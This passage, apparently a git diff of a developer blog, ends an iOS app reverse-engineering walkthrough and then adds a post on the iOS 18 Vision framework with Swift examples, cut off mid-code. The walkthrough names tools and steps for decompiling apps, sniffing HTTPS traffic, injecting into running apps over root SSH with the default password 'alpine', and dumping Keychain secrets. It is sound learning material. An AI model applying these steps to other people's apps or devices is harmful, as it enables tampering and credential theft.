You will see /Payload/APP_NAME.app

With the original APP file, we can…

1. Extract the APP’s resource directory

Right-click on APP_NAME.app → “Show Package Contents” to see the APP’s resource directory.

2. Use class-dump to extract the APP’s .h header file information

Use the class-dump tool to export all the APP’s (including Framework) .h header file information (only for Objective-C, not effective for Swift projects).

nygard/class-dump I tried using this tool but failed repeatedly; eventually, I succeeded using the rewritten class-dump tool from AloneMonkey / MonkeyDev.

  • Download the tool directly from here: MonkeyDev/bin/class-dump
  • Open Terminal and use: ./class-dump -H APP_PATH/APP_NAME.app -o OUTPUT_PATH

After a successful dump, you can obtain the entire APP’s .h information.

4. The final and most difficult step — decompilation

You can use decompilation tools like IDA and Hopper for analysis. Both are paid tools, but Hopper offers a free trial (30 minutes per session).

Drag the obtained APP_NAME.app file directly into Hopper to start the analysis.

However, this is where I stopped, as it requires studying machine code, using class-dump results to infer methods, etc.; it requires very deep skills!

After breaking through the decompilation, you can modify the operation and repackage it into a new APP.

Image from One Piece

Image from One Piece

Other tools for reverse engineering

1. Using the free MITM Proxy tool to sniff API network request information

»The APP uses HTTPS transmission, but the data was still stolen.

2. Cycript (with a jailbroken phone) dynamic analysis/injection tool:

  • Open “Cydia” on the jailbroken phone -> search for “Cycript” -> “Install”
  • Open a Terminal on the computer and use Open SSH to connect to the phone, ssh root@PHONE_IP (default is alpine)
  • Open the target APP (keep the APP in the foreground)
  • In Terminal, enter ps -e | grep APP Bundle ID to find the running APP Process ID
  • Use cycript -p Process ID to inject the tool into the running APP

You can use Objective-C/Javascript for debugging control.

For Example:

1
+2
+3
+
// Objective-C code block
+cy# alert = [[UIAlertView alloc] initWithTitle:@"HIHI" message:@"ZhgChg.li" delegate:nil cancelButtonTitle:@"Cancel" otherButtonTitles:nl]
+cy# [alert show]
+

Injecting a UIAlertViewController…

Injecting a UIAlertViewController…

  • chose( ) : Get target
  • UIApp.keyWindow.recursiveDescription( ).toString( ) : Display view hierarchy structure information
  • new Instance(memory location): Get object
  • exit(0) : Exit

For detailed operations, refer to this article.

3. Lookin / Reveal View UI Layout Tools

Previously introduced, recommending again; also very useful in daily development of your own projects, suggest purchasing and using Reveal.

4. MonkeyDev Integration Tool for dynamically injecting and modifying APPs and repackaging them into new APPs

5. ptoomey3 / Keychain-Dumper for exporting KeyChain content

For detailed operations, refer to this article, but I didn’t succeed. Looking at the project issues, it seems to have become ineffective since iOS ≥ 12.

Summary

This field is a super big pit, requiring a lot of technical knowledge to master; this article just gives a superficial “experience” of what reverse engineering feels like. Apologies for any shortcomings! For academic research only, do not do bad things; personally, I find the whole process and tools quite interesting and it gives a better understanding of APP security!

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS Expand Button Click Area

Exploring Methods for Implementing iOS HLS Cache

diff --git a/posts/755509180ca8/index.html b/posts/755509180ca8/index.html new file mode 100644 index 0000000000..b6bed5a8d9 --- /dev/null +++ b/posts/755509180ca8/index.html @@ -0,0 +1,1158 @@ + iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session | ZhgChgLi
Home iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session
Post
Cancel

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session

Vision framework review & trying out new Swift API in iOS 18

Photo by [BoliviaInteligente](https://unsplash.com/@boliviainteligente?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by BoliviaInteligente

Topic

The relationship with Vision Pro is like the relationship between hot dogs and dogs, completely unrelated.

The relationship with Vision Pro is like the relationship between hot dogs and dogs, completely unrelated.

Vision framework

The Vision framework is Apple’s integrated image recognition framework for machine learning, allowing developers to easily and quickly implement common image recognition functions. The Vision framework was introduced as early as iOS 11.0+ (2017/iPhone 8) and has been continuously iterated and optimized. It enhances performance by integrating features with Swift Concurrency and provides a new Swift Vision framework API from iOS 18.0 to maximize the benefits of Swift Concurrency.

Features of Vision framework

  • Built-in numerous image recognition and motion tracking methods (up to 31 as of iOS 18)
  • On-Device computation using only the phone’s chip, independent of cloud services, fast and secure
  • Simple and easy-to-use API
  • Apple supports all platforms: iOS 11.0+, iPadOS 11.0+, Mac Catalyst 13.0+, macOS 10.13+, tvOS 11.0+, visionOS 1.0+
  • Released for multiple years (2017-present) and continuously updated
  • Enhances computational performance by integrating Swift language features

Played around 6 years ago: Exploring Vision - Automatically Recognizing Faces for App Avatar Cropping (Swift)

This time, in conjunction with WWDC 24 Discover Swift enhancements in the Vision framework Session, revisiting and combining new Swift features to play again.

CoreML

Apple also has another framework called CoreML, which is a machine learning framework based on On-Device chips. It allows you to train models for objects or documents you want to recognize and use the models directly in the app. Interested friends can also give it a try. (e.g. Real-time article classification, real-time spam message detection …)

p.s.

Vision v.s. VisionKit:

Vision: Mainly used for image analysis tasks such as face recognition, barcode detection, text recognition, etc. It provides powerful APIs to handle and analyze visual content in static images or videos.

VisionKit: Specifically designed for tasks related to document scanning. It offers a scanner view controller that can be used to scan documents and generate high-quality PDFs or images.

The Vision framework cannot run on the M1 model in the simulator, it can only be tested on a physical device; running in a simulator environment will throw a Could not create Espresso context error, no solution found in the official forum discussion.

Since I don’t have a physical iOS 18 device for testing, all the execution results in this article are based on the old (pre-iOS 18) syntax; please leave a comment if there are errors with the new syntax.

WWDC 2024 — Discover Swift enhancements in the Vision framework

Discover Swift enhancements in the Vision framework

Discover Swift enhancements in the Vision framework

This article is a sharing note for WWDC 24 — Discover Swift enhancements in the Vision framework session, along with some experimental insights.

Introduction — Vision framework Features

Face recognition, contour recognition

Text recognition in image content

As of iOS 18, it supports 18 languages.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
// Supported language list
+if #available(iOS 18.0, *) {
+  print(RecognizeTextRequest().supportedRecognitionLanguages.map { "\($0.languageCode!)-\(($0.region?.identifier ?? $0.script?.identifier)!)" })
+} else {
+  print(try! VNRecognizeTextRequest().supportedRecognitionLanguages())
+}
+
+// The actual available recognition languages are based on this.
+// Tested on iOS 18, the output is as follows:
+// ["en-US", "fr-FR", "it-IT", "de-DE", "es-ES", "pt-BR", "zh-Hans", "zh-Hant", "yue-Hans", "yue-Hant", "ko-KR", "ja-JP", "ru-RU", "uk-UA", "th-TH", "vi-VT", "ar-SA", "ars-SA"]
+// Swedish language mentioned in WWDC was not seen, unsure if it has not been released yet or is related to device region and language settings
+

Dynamic motion capture

  • Can achieve dynamic capture of people and objects
  • Gesture capture implements air signature function

What’s new in Vision? (iOS 18)— Image rating feature (quality, key points)

  • Calculate scores for input images to easily filter out high-quality photos
  • The scoring method includes multiple dimensions, not just image quality, but also lighting, angles, shooting subjects, whether there are memorable points … and so on

WWDC provided the above three images for explanation (under the same image quality), which are:

  • High-scoring image: composition, lighting, memorable points
  • Low-scoring image: no main subject, looks like taken casually or accidentally
  • Utility image: technically well-taken but lacks memorable points, like images used for stock photo libraries

iOS ≥ 18 New API: CalculateImageAestheticsScoresRequest

1
+2
+3
+4
+5
+6
+7
+8
+
let request = CalculateImageAestheticsScoresRequest()
+let result = try await request.perform(on: URL(string: "https://zhgchg.li/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg")!)
+
+// Photo score
+print(result.overallScore)
+
+// Whether it is judged as a utility image
+print(result.isUtility)
+

What’s new in Vision? (iOS 18) — Simultaneous detection of body and gesture poses

In the past, only body pose and hand pose could be detected separately.

With this update, developers can detect both body and hand poses simultaneously, combining them into a single request and result, making it more convenient for further feature development.

iOS ≥ 18 New API: DetectHumanBodyPoseRequest

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
var request = DetectHumanBodyPoseRequest()
+// Detect hand pose together
+request.detectsHands = true
+
+guard let bodyPose = try await request.perform(on: image). first else { return }
+
+// Body Pose Joints
+let bodyJoints = bodyPose.allJoints()
+// Left hand Pose Joints
+let leftHandJoints = bodyPose.leftHand.allJoints()
+// Right hand Pose Joints
+let rightHandJoints = bodyPose.rightHand.allJoints()
+

New Vision API

Apple provides new Swift Vision API wrappers for developers in this update, in addition to basic support for existing functionalities, mainly focusing on enhancing Swift 6 / Swift Concurrency features, providing more efficient and Swift-like API operation methods.

Get started with Vision

The speaker here reintroduced the basic usage of the Vision framework. Apple has encapsulated 31 types of common image recognition requests and their corresponding “Observation” objects (as of iOS 18).

  1. Request: DetectFaceRectanglesRequest - Face area recognition request Result: FaceObservation The previous article “Exploring Vision - Automatically Identify Faces for Avatar Upload in Apps (Swift)” used this pair of requests.

  2. Request: RecognizeTextRequest - Text recognition request Result: RecognizedTextObservation

  3. Request: GenerateObjectnessBasedSaliencyImageRequest - Objectness-based object recognition request Result: SaliencyImageObservation

All 31 types of requests:

VisionRequest.

Request PurposeObservation Description
CalculateImageAestheticsScoresRequest
Calculate the aesthetic score of the image.
AestheticsObservation
Returns the aesthetic score of the image, considering factors like composition and color.
ClassifyImageRequest
Classify the content of the image.
ClassificationObservation
Returns the classification labels and confidence of objects or scenes in the image.
CoreMLRequest
Analyze images using Core ML models.
CoreMLFeatureValueObservation
Generates observations based on the output of Core ML models.
DetectAnimalBodyPoseRequest
Detect animal poses in images.
RecognizedPointsObservation
Returns the skeleton points and their positions of animals.
DetectBarcodesRequest
Detect barcodes in images.
BarcodeObservation
Returns barcode data and types (e.g., QR code).
DetectContoursRequest
Detect contours in images.
ContoursObservation
Returns detected contour lines in the image.
DetectDocumentSegmentationRequest
Detect and segment documents in images.
RectangleObservation
Returns the rectangular boundary positions of documents.
DetectFaceCaptureQualityRequest
Evaluate the quality of face captures.
FaceObservation
Returns quality assessment scores for facial images.
DetectFaceLandmarksRequest
Detect facial landmarks.
FaceObservation
Returns detailed positions of facial landmarks (e.g., eyes, nose).
DetectFaceRectanglesRequest
Detect faces in images.
FaceObservation
Returns the bounding box positions of faces.
DetectHorizonRequest
Detect horizons in images.
HorizonObservation
Returns the angle and position of the horizon.
DetectHumanBodyPose3DRequest
Detect 3D human body poses in images.
RecognizedPointsObservation
Returns 3D human skeleton points and their spatial coordinates.
DetectHumanBodyPoseRequest
Detect human body poses in images.
RecognizedPointsObservation
Returns human skeleton points and their coordinates.
DetectHumanHandPoseRequest
Detect hand poses in images.
RecognizedPointsObservation
Returns hand skeleton points and their positions.
DetectHumanRectanglesRequest
Detect humans in images.
HumanObservation
Returns the bounding box positions of humans.
DetectRectanglesRequest
Detect rectangles in images.
RectangleObservation
Returns the coordinates of the four vertices of rectangles.
DetectTextRectanglesRequest
Detect text regions in images.
TextObservation
Returns the positions and bounding boxes of text regions.
DetectTrajectoriesRequest
Detect and analyze object motion trajectories.
TrajectoryObservation
Returns motion trajectory points and their time series.
GenerateAttentionBasedSaliencyImageRequest
Generate attention-based saliency images.
SaliencyImageObservation
Returns saliency maps of the most attractive areas in the image.
GenerateForegroundInstanceMaskRequest
Generate foreground instance mask images.
InstanceMaskObservation
Returns masks of foreground objects.
GenerateImageFeaturePrintRequest
Generate image feature prints for comparison.
FeaturePrintObservation
Returns feature fingerprint data of images for similarity comparison.
GenerateObjectnessBasedSaliencyImageRequest
Generate objectness-based saliency images.
SaliencyImageObservation
Returns saliency maps of object saliency areas.
GeneratePersonInstanceMaskRequest
Generate person instance mask images.
InstanceMaskObservation
Returns masks of person instances.
GeneratePersonSegmentationRequest
Generate person segmentation images.
SegmentationObservation
Returns binary images of person segmentation.
RecognizeAnimalsRequest
Detect and identify animals in images.
RecognizedObjectObservation
Returns animal types and their confidence levels.
RecognizeTextRequest
Detect and identify text in images.
RecognizedTextObservation
Returns detected text content and its spatial positions.
TrackHomographicImageRegistrationRequest
Track homographic image registration.
ImageAlignmentObservation
Returns homographic transformation matrices between images for image registration.
TrackObjectRequest
Track objects in images.
DetectedObjectObservation
Returns the positions and velocity information of objects in images.
TrackOpticalFlowRequest
Track optical flow in images.
OpticalFlowObservation
Returns optical flow vector fields describing pixel movements.
TrackRectangleRequest
Track rectangles in images.
RectangleObservation
Returns the positions, sizes, and rotation angles of rectangles in images.
TrackTranslationalImageRegistrationRequest
Track translational image registration.
ImageAlignmentObservation
Returns translational transformation matrices between images for image registration.
  • Prefixing VN in front is the old API writing method (before iOS 18)

The speaker mentioned several commonly used Requests as follows.

ClassifyImageRequest

Recognize the input image, obtain label classification and confidence.

[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Fukuoka by Busan→Hakata Cruise

[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Fukuoka by Busan→Hakata Cruise

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+
if #available(iOS 18.0, *) {
+    // New API using Swift features
+    let request = ClassifyImageRequest()
+    Task {
+        do {
+            let observations = try await request.perform(on: URL(string: "https://zhgchg.li/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg")!)
+            observations.forEach {
+                observation in
+                print("\(observation.identifier): \(observation.confidence)")
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old method
+    let completionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNClassificationObservation] else {
+            return
+        }
+        observations.forEach {
+            observation in
+            print("\(observation.identifier): \(observation.confidence)")
+        }
+    }
+
+    let request = VNClassifyImageRequest(completionHandler: completionHandler)
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: URL(string: "https://zhgchg.li/assets/cb65fd5ab770/1*3_jdrLurFuUfNdW4BJaRww.jpeg")!, options: [:])
+        do {
+            try handler.perform([request])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

Analysis Results:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
  outdoor: 0.75392926
+  sky: 0.75392926
+  blue_sky: 0.7519531
+  machine: 0.6958008
+  cloudy: 0.26538086
+  structure: 0.15728651
+  sign: 0.14224191
+  fence: 0.118652344
+  banner: 0.0793457
+  material: 0.075975396
+  plant: 0.054406323
+  foliage: 0.05029297
+  light: 0.048126098
+  lamppost: 0.048095703
+  billboards: 0.040039062
+  art: 0.03977703
+  branch: 0.03930664
+  decoration: 0.036868922
+  flag: 0.036865234
+....etc
+

RecognizeTextRequest

Recognize the text content in the image (a.k.a OCR)

[Travelogue] 2023 Tokyo 5-day free trip

[Travelogue] 2023 Tokyo 5-day free trip](../9da2c51fa4f2/)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
if #available(iOS 18.0, *) {
+    // New API using Swift features
+    var request = RecognizeTextRequest()
+    request.recognitionLevel = .accurate
+    request.recognitionLanguages = [.init(identifier: "ja-JP"), .init(identifier: "en-US")] // Specify language code, e.g., Traditional Chinese
+    Task {
+        do {
+            let observations = try await request.perform(on: URL(string: "https://zhgchg.li/assets/9da2c51fa4f2/1*fBbNbDepYioQ-3-0XUkF6Q.jpeg")!)
+            observations.forEach {
+                observation in
+                let topCandidate = observation.topCandidates(1).first
+                print(topCandidate?.string ?? "No text recognized")
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old way
+    let completionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNRecognizedTextObservation] else {
+            return
+        }
+        observations.forEach {
+            observation in
+            let topCandidate = observation.topCandidates(1).first
+            print(topCandidate?.string ?? "No text recognized")
+        }
+    }
+
+    let request = VNRecognizeTextRequest(completionHandler: completionHandler)
+    request.recognitionLevel = .accurate
+    request.recognitionLanguages = ["ja-JP", "en-US"] // Specify language code, e.g., Traditional Chinese
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: URL(string: "https://zhgchg.li/assets/9da2c51fa4f2/1*fBbNbDepYioQ-3-0XUkF6Q.jpeg")!, options: [:])
+        do {
+            try handler.perform([request])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

Analysis Result:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+
LE LABO Aoyama Store
+TEL:03-6419-7167
+*Thank you for your purchase*
+No: 21347
+Date: 2023/06/10 14.14.57
+Responsible:
+1690370
+Register: 008A 1
+Product Name
+Tax-inclusive Price Quantity Tax-inclusive Total
+Kaiak 10 EDP FB 15ML
+J1P7010000S
+16,800
+16,800
+Another 13 EDP FB 15ML
+J1PJ010000S
+10,700
+10,700
+Lip Balm 15ML
+JOWC010000S
+2,000
+1
+Total Amount
+(Tax Included)
+CARD
+2,000
+3 items purchased
+29,500
+0
+29,500
+29,500
+

DetectBarcodesRequest

Detect barcode and QR code data in the image.

Thai locals recommend Goose Brand Cooling Gel

Thai locals recommend Goose Brand Cooling Gel

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
let filePath = Bundle.main.path(forResource: "IMG_6777", ofType: "png")! // Local test image
+let fileURL = URL(filePath: filePath)
+if #available(iOS 18.0, *) {
+    // New API using Swift features
+    let request = DetectBarcodesRequest()
+    Task {
+        do {
+            let observations = try await request.perform(on: fileURL)
+            observations.forEach {
+                observation in
+                print("Payload: \(observation.payloadString ?? "No payload")")
+                print("Symbology: \(observation.symbology)")
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old way
+    let completionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNBarcodeObservation] else {
+            return
+        }
+        observations.forEach {
+            observation in
+            print("Payload: \(observation.payloadStringValue ?? "No payload")")
+            print("Symbology: \(observation.symbology.rawValue)")
+        }
+    }
+
+    let request = VNDetectBarcodesRequest(completionHandler: completionHandler)
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: fileURL, options: [:])
+        do {
+            try handler.perform([request])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

Analysis Results:

1
+2
+3
+4
+5
+6
+7
+8
+
Payload: 8859126000911
+Symbology: VNBarcodeSymbologyEAN13
+Payload: https://lin.ee/hGynbVM
+Symbology: VNBarcodeSymbologyQR
+Payload: http://www.hongthaipanich.com/
+Symbology: VNBarcodeSymbologyQR
+Payload: https://www.facebook.com/qr?id=100063856061714
+Symbology: VNBarcodeSymbologyQR
+

RecognizeAnimalsRequest

Recognize animals in the image with confidence.

[meme Source](https://www.redbubble.com/i/canvas-print/Funny-AI-Woman-yelling-at-a-cat-meme-design-Machine-learning-by-omolog/43039298.5Y5V7){:target="_blank"}

meme Source

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+
let filePath = Bundle.main.path(forResource: "IMG_5026", ofType: "png")! // Local test image
+let fileURL = URL(filePath: filePath)
+if #available(iOS 18.0, *) {
+    // New API using Swift features
+    let request = RecognizeAnimalsRequest()
+    Task {
+        do {
+            let observations = try await request.perform(on: fileURL)
+            observations.forEach {
+                observation in
+                let labels = observation.labels
+                labels.forEach {
+                    label in
+                    print("Detected animal: \(label.identifier) with confidence: \(label.confidence)")
+                }
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old way
+    let completionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNRecognizedObjectObservation] else {
+            return
+        }
+        observations.forEach {
+            observation in
+            let labels = observation.labels
+            labels.forEach {
+                label in
+                print("Detected animal: \(label.identifier) with confidence: \(label.confidence)")
+            }
+        }
+    }
+
+    let request = VNRecognizeAnimalsRequest(completionHandler: completionHandler)
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: fileURL, options: [:])
+        do {
+            try handler.perform([request])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

Analysis Results:

1
+
Detected animal: Cat with confidence: 0.77245045
+

Others:

  • Detecting human body in images: DetectHumanRectanglesRequest
  • Detecting poses of animals and humans (3D or 2D): DetectAnimalBodyPoseRequest, DetectHumanBodyPose3DRequest, DetectHumanBodyPoseRequest, DetectHumanHandPoseRequest
  • Detecting and tracking object trajectories (in different frames of videos, animations): DetectTrajectoriesRequest, TrackObjectRequest, TrackRectangleRequest

iOS ≥ 18 Update Highlight:

1
+2
+3
+4
+
VN*Request -> *Request (e.g. VNDetectBarcodesRequest -> DetectBarcodesRequest)
+VN*Observation -> *Observation (e.g. VNRecognizedObjectObservation -> RecognizedObjectObservation)
+VNRequestCompletionHandler -> async/await
+VNImageRequestHandler.perform([VN*Request]) -> *Request.perform()
+

WWDC Example

The official WWDC video uses a supermarket product scanner as an example.

Most products have a Barcode that can be scanned

We can obtain the location of the Barcode from observation.boundingBox, but unlike the common UIView coordinate system, the BoundingBox’s relative position starts from the lower left corner, with values ranging from 0 to 1.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+
let filePath = Bundle.main.path(forResource: "IMG_6785", ofType: "png")! // Local test image
+let fileURL = URL(filePath: filePath)
+if #available(iOS 18.0, *) {
+    // New API using Swift features
+    var request = DetectBarcodesRequest()
+    request.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance
+    Task {
+        do {
+            let observations = try await request.perform(on: fileURL)
+            if let observation = observations.first {
+                DispatchQueue.main.async {
+                    self.infoLabel.text = observation.payloadString
+                    // Color layer marking
+                    let colorLayer = CALayer()
+                    // iOS >=18 new coordinate transformation API toImageCoordinates
+                    // Not tested, may need to calculate the offset for ContentMode = AspectFit:
+                    colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft)
+                    colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor
+                    self.baseImageView.layer.addSublayer(colorLayer)
+                }
+                print("BoundingBox: \(observation.boundingBox.cgRect)")
+                print("Payload: \(observation.payloadString ?? "No payload")")
+                print("Symbology: \(observation.symbology)")
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old approach
+    let completionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNBarcodeObservation] else {
+            return
+        }
+        if let observation = observations.first {
+            DispatchQueue.main.async {
+                self.infoLabel.text = observation.payloadStringValue
+                // Color layer marking
+                let colorLayer = CALayer()
+                colorLayer.frame = self.convertBoundingBox(observation.boundingBox, to: self.baseImageView)
+                colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor
+                self.baseImageView.layer.addSublayer(colorLayer)
+            }
+            print("BoundingBox: \(observation.boundingBox)")
+            print("Payload: \(observation.payloadStringValue ?? "No payload")")
+            print("Symbology: \(observation.symbology.rawValue)")
+        }
+    }
+
+    let request = VNDetectBarcodesRequest(completionHandler: completionHandler)
+    request.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: fileURL, options: [:])
+        do {
+            try handler.perform([request])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

iOS ≥ 18 Update Highlight:

// iOS ≥18 New Coordinate Transformation API toImageCoordinates
+observation.boundingBox.toImageCoordinates(CGSize, origin: .upperLeft)
+// https://developer.apple.com/documentation/vision/normalizedpoint/toimagecoordinates(from:imagesize:origin:)
+

Helper:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
// Generated by ChatGPT 4o
+// Since the photo in the ImageView is set with ContentMode = AspectFit
+// Extra calculation is needed for the top and bottom offset caused by Fit
+func convertBoundingBox(_ boundingBox: CGRect, to view: UIImageView) -> CGRect {
+    guard let image = view.image else {
+        return .zero
+    }
+
+    let imageSize = image.size
+    let viewSize = view.bounds.size
+    let imageRatio = imageSize.width / imageSize.height
+    let viewRatio = viewSize.width / viewSize.height
+    var scaleFactor: CGFloat
+    var offsetX: CGFloat = 0
+    var offsetY: CGFloat = 0
+    if imageRatio > viewRatio {
+        // Image fits in the width direction
+        scaleFactor = viewSize.width / imageSize.width
+        offsetY = (viewSize.height - imageSize.height * scaleFactor) / 2
+    }
+
+    else {
+        // Image fits in the height direction
+        scaleFactor = viewSize.height / imageSize.height
+        offsetX = (viewSize.width - imageSize.width * scaleFactor) / 2
+    }
+
+    let x = boundingBox.minX * imageSize.width * scaleFactor + offsetX
+    let y = (1 - boundingBox.maxY) * imageSize.height * scaleFactor + offsetY
+    let width = boundingBox.width * imageSize.width * scaleFactor
+    let height = boundingBox.height * imageSize.height * scaleFactor
+    return CGRect(x: x, y: y, width: width, height: height)
+}
+

Output:

1
+2
+3
+
BoundingBox: (0.5295758928571429, 0.21408638121589782, 0.0943080357142857, 0.21254415360708087)
+Payload: 4710018183805
+Symbology: VNBarcodeSymbologyEAN13
+

Some products do not have a barcode, such as loose fruits with only product labels

Therefore, our scanner also needs to support scanning pure text labels simultaneously.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+
let filePath = Bundle.main.path(forResource: "apple", ofType: "jpg")! // Local test image
+let fileURL = URL(filePath: filePath)
+if #available(iOS 18.0, *) {
+    // New API using Swift features
+    var barcodesRequest = DetectBarcodesRequest()
+    barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance
+    var textRequest = RecognizeTextRequest()
+    textRequest.recognitionLanguages = [.init(identifier: "zh-Hnat"), .init(identifier: "en-US")]
+    Task {
+        do {
+            let handler = ImageRequestHandler(fileURL)
+            // parameter pack syntax and we must wait for all requests to finish before we can use their results.
+            // let (barcodesObservation, textObservation, ...) = try await handler.perform(barcodesRequest, textRequest, ...)
+            let (barcodesObservation, textObservation) = try await handler.perform(barcodesRequest, textRequest)
+            if let observation = barcodesObservation.first {
+                DispatchQueue.main.async {
+                    self.infoLabel.text = observation.payloadString
+                    // Color layer
+                    let colorLayer = CALayer()
+                    // New Coordinate Transformation API toImageCoordinates for iOS >=18
+                    // Not tested, may need to consider the offset of ContentMode = AspectFit:
+                    colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft)
+                    colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor
+                    self.baseImageView.layer.addSublayer(colorLayer)
+                }
+                print("BoundingBox: \(observation.boundingBox.cgRect)")
+                print("Payload: \(observation.payloadString ?? "No payload")")
+                print("Symbology: \(observation.symbology)")
+            }
+            textObservation.forEach {
+                observation in
+                let topCandidate = observation.topCandidates(1).first
+                print(topCandidate?.string ?? "No text recognized")
+            }
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+} else {
+    // Old approach
+    let barcodesCompletionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
+            return
+        }
+        guard let observations = request.results as? [VNBarcodeObservation] else {
+            return
+        }
+        if let observation = observations.first {
+            DispatchQueue.main.async {
+                self.infoLabel.text = observation.payloadStringValue
+                // Color layer
+                let colorLayer = CALayer()
+                colorLayer.frame = self.convertBoundingBox(observation.boundingBox, to: self.baseImageView)
+                colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor
+                self.baseImageView.layer.addSublayer(colorLayer)
+            }
+            print("BoundingBox: \(observation.boundingBox)")
+            print("Payload: \(observation.payloadStringValue ?? "No payload")")
+            print("Symbology: \(observation.symbology.rawValue)")
+        }
+    }
+
+    let textCompletionHandler: VNRequestCompletionHandler = {
+        request, error in
+        guard error == nil else {
+            print("Request failed: \(String(describing: error))")
